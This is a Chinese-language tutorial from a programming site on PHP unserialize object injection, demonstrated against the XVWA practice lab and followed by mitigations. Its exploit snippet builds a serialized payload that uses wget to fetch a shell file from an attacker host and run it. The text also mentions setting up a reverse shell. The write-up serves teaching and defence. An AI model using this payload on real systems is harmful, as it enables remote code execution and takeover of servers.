首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 綜合知識

PHP 反序列化與物件注入漏洞深度解析:從原理到遠端 Shell 實戰

     編輯:PHP 綜合知識

PHP 反序列化漏洞(Object Injection)是嚴重的安全隱患,攻擊者可透過精心構造的序列化字串,在應用程式呼叫 unserialize() 時觸發魔術方法(如 __wakeup()、__destruct()),進而執行任意程式碼。本文以 XVWA 靶場為例,完整演示從偵測到拿取遠端 Shell 的攻擊鏈。

漏洞成因回顧

PHP 允許將物件序列化為字串儲存或傳輸,反序列化時會還原物件狀態並自動呼叫 __wakeup()。若應用未對使用者輸入的序列化資料進行驗證,且類別定義了危險的魔術方法(如 eval()、system()),即構成注入點。

實戰環境與偵測

  • 靶場:XVWA(Xtreme Vulnerable Web Application)
  • 輔助工具:Burp Suite + SuperSerial 插件(被動偵測 PHP/Java 序列化流量)

測試發現參數 r 直接傳入 unserialize(),且類別 PHPObjectInjection 的 __wakeup() 執行 eval($this->inject),形成完整利用鏈:

$var1 = unserialize($_REQUEST['r']);
// ...
eval($this->inject);

構造惡意 Payload

攻擊者需建立一個同名類別,將 $inject 屬性設為想執行的 PHP 程式碼,序列化後傳遞給參數 r。範例利用腳本自動化此過程:

class PHPObjectInjection {
    public $inject = "system('wget https://attacker/shell.txt -O shell.php && php shell.php');";
}
$payload = urlencode(serialize(new PHPObjectInjection));

配合 PHP 反彈 Shell 上傳至可寫入目錄,即可取得互動式 Shell。

防禦建議

  1. 避免使用 unserialize() 處理不可信資料,改用 JSON(json_decode())等安全格式。
  2. 若必須使用,PHP 7.0+ 可啟用 allowed_classes 選項限制可反序列化的類別:
    unserialize($data, ['allowed_classes' => ['MySafeClass']]);
  3. 實作完整性簽章(HMAC)驗證序列化資料來源。
  4. 禁用危險函數(eval、exec、system 等)並部署 WAF 規則攔截可疑序列化字串。

總結

反序列化漏洞雖然經典,但在現代框架與 CMS 中仍屢見不鮮。開發者應建立「輸入不可信、反序列化高風險」的防禦意識,優先採用安全替代方案,並在必要時嚴格限制類別白名單。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved